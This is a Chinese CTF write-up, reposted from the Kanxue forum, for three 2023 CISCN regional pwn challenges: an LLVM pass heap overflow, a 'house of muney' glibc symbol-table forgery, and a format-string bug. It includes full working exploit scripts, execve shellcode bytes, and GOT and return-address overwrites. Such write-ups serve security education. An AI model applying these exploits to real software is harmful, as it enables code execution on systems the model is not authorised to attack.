2023CISCN—华中赛区 pwn 题解

新闻资讯   2023-07-19 18:00   67   0  




llvm


之前写过几篇llvm的分析和题解,感觉这次ciscn还得出llvm,不过这个llvm相对之前的还是比较简单的,漏洞点也是白给,利用也较为简单。(这里我用的是ubuntu20。)


程序分析


先简单贴一下程序大致流程。



Add函数





Del函数



Edit函数




Alloc函数



EditAlloc函数





代码大概就是这样,刚开始做的时候已经把一些llvm函数忘得差不多了,又看winmt的博客补了一下。


add函数:申请一个堆块

del函数:释放一个堆块

edit函数:对一个堆块进行edit,存在溢出

alloc函数:申请一块rwx内存,地址0x10000

editalloc函数:像0x10000内存写入一个堆地址存放的数据指向的地址(感觉没啥用)


漏洞利用


1.申请几个连续的大小相同的堆块,释放中间两个,修改上边的堆块的fd指针为0x10000。


2.申请两个堆块,其中第二个堆块指向0x10000,调用alloc函数将0x10000设置为rwx,向其中写入shellcode的字节码,注意顺序即可。


3.再释放两个相邻堆块,改堆块fd为free_got,申请回free_got,将其改为0x10000。


4.退出llvm.so时执行free函数,执行我们的shellcode来get shell。


几个注意点


1、我在做这个题的时候,刚开始用clang-15编译,然后用opt-10执行一直报错,这里clang应该与opt的版本对应,太久没看过llvm了。


2、在程序执行的时候,首先跑llvm.so,在跑完退出时会调用opt里的函数,这里opt是没有开pie的,所以改opt里的free_got函数。


exp


#include<stdio.h>
int Add(int size){

}

int Del(int index){

}
int Edit(int index,int offset,int content){

}

int Alloc(){

}
int EditAlloc(int index,int offset){

}
int Hello(){

Add(0x1000);//0
Add(0x1000);//1
Add(0x1000);//2
//\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
Add(176);//3
Add(176);//4
Add(176);//5
Add(176);//6

Add(176);//7
Add(176);//8
Add(176);//9
Add(176);//10
Del(5);
Del(4);
Edit(3,48,65536);
Alloc();
Add(176);//4
Add(176);//5-->0x10000
Edit(5,0,0x56f63148);
Edit(5,1,0x622fbf48);
Edit(5,2,0x2f2f6e69);
Edit(5,3,0x54576873);
Edit(5,4,0x583b6a5f);
Edit(5,5,0x050f99);
// Edit(5,5,0x050f99);
Del(9);
Del(8);
Edit(7,48,0x78b108);
Add(176);//8
Add(176);//9--->free_got
Edit(9,0,0x10000);
Edit(9,1,0);


return 0;

}


调试


其实我感觉llvm难点就是调试,这里首先给出几个命令。


test.c编译为test.ll

/usr/bin/clang-10 -emit-llvm -S test.c -o test.ll


gdb动态调试

gdb opt-10
set args -load ./LLVMHello.so -Hello ./test.ll
b main
r


首先跑完一大堆的llvm函数,然后用llvm.so加偏移下断点。



这里我直接用exp跑。


Alloc函数执行。




将shellcode写入0x10000。



链入free_got。




修改free_got为0x10000。




执行exit。




跑掉一大堆其他plt,进入free_plt。



成功执行shellcode。







muney


程序分析




前边一大堆的逆向,需要知道http数据包如何构造,这个跟上海磐石杯那个hp题挺像的,具体逆向不再分析,主要说一下house of muney这个方法。


利用手法


当堆管理器分配超大内存时,会调用mmap函数申请内存,申请的内存一般位于libc.so.6内存的低地址处。如果可以修改mmap申请的这段内存的size,那么我们再次申请回来就可以覆盖掉libc.so.6的符号表,哈希表等空间并进行改写伪造,在解析函数实际地址的时候就能控制其解析为任意地址,进而控制程序执行流。


这里先给出exp再进行说明:


exp


from pwn import *
context.log_level='debug'
r=process('./muney')
elf=ELF('./muney')
libc=elf.libc

def add(size,cont):
payload='POST /create HTTP/1.0 \nSize:'+str(size)+"\n"+'Content-Length:'+str(len(cont))+'\n\r\n'+cont
r.sendafter("HTTP_Parser> ",payload)

def delete(idx):
payload='POST /delete HTTP/1.0 \nIdx:' + str(idx)+"\n"+"Content-Length:16" + '\n\r\n' + 'a'*16
r.sendafter("HTTP_Parser> ",payload)


def edit(idx,offset,cont):
payload=b'POST /edit HTTP/1.0 \nIdx:' + str(idx).encode() +b'\n'+b'Offset:'+str(offset).encode()+b'\n'+b"Content-Length:"+str(len(cont)).encode()+b'\n\r\n'+cont
r.sendafter("HTTP_Parser> ",payload)

def quit(cont):
payload='POST /quit HTTP/1.0 \n'+'Content-Length:'+str(len(cont))+'\n\r\n'+cont
r.sendafter("HTTP_Parser> ",payload)

add(0x150000,'a'*16)
edit(0,-8,b'\x02\x10\x17')
delete(0)
add(0x171002,'a'*16)
edit(0,0x152b78,p64(0xaaa101010210130e))
edit(0,0x152ca0,p8(0x86))
edit(0,0x153d6c,p64(0x7c967e3e7c93f2a0))
edit(0,0x156d18-0x8,b"\x90\x22\x05")
edit(0,0x156d18-0x10,b"\xbd\xa1\x1a")
edit(0,0x156d18-0x10+4,b"\x12")
edit(0,0x156d18-0x10+6,b"\xf0")
gdb.attach(r)
quit('a'*16)
r.interactive()


调试


house of muney的关键在于伪造几个值:

bitmask_word
bucket
hasharr
target symbol ->st_value


调试一下看看这几个值在哪里(注意这里需要用到glibc源码调试,这里使用2.31)。




需要先跑过一次while(++i < n)




当源码走到这里时,记录一下bitmask_word的值。




走到这里,查看一下bucket的值。




走到这里查看一下hasharr。




走到这里会有sym符号表结构的一些值。





这里需要将st_name改成strtab与exit的偏移,st_value改成system的st_value。


编写一个c程序执行system看一下值(这个c程序不能开pie和full relro)。





是0x52290 。


再来找一下st_name,这里有几个可以选择,试试哪个通就行。




全部找到后就可以edit伪造了。


最后执行exit("/bin/sh");就能get shell。






AWD


程序分析


在main函数中有一个跳转,看一下off_5060位置。





可以看到我们输入的shell命令不同,会跳转到不同函数,这跟初赛的shellwego类似。


漏洞点位于echo里的格式化字符串漏洞。




由于该shell是循环输入,所以可以循环利用这个格式化字符串漏洞泄露libc和stack,然后劫持libc_start_main为onegadget即可。


exp


from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc

def shell(payload):
r.sendlineafter("$ \x1B[0m",payload)

# gdb.attach(r)
shell("echo %29$p a")
libc_base=int(r.recv(14),16)-243-libc.sym['__libc_start_main']
print("libc_base------------->",hex(libc_base))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
ogg=libc_base+one_gadget[2]
shell("echo %12$p b")
stack=int(r.recv(14),16)
print("stack-------------->",hex(stack))
libc_start_main=stack+0x38

shell("echo %"+str(libc_start_main&0xffff)+'c%31$hn c')
shell("echo %"+str(ogg&0xffff)+"c%59$hn d")
shell("echo %"+str(libc_start_main+2&0xffff)+'c%31$hn e')
shell("echo %"+str((ogg>>16)&0xffff)+"c%59$hn f")
shell("KingKi1L3r")
r.interactive()





看雪ID:寄中寄

https://bbs.kanxue.com/user-home-964820.htm

*本文为看雪论坛优秀文章,由 寄中寄 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

文章引用微信公众号"看雪学苑",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。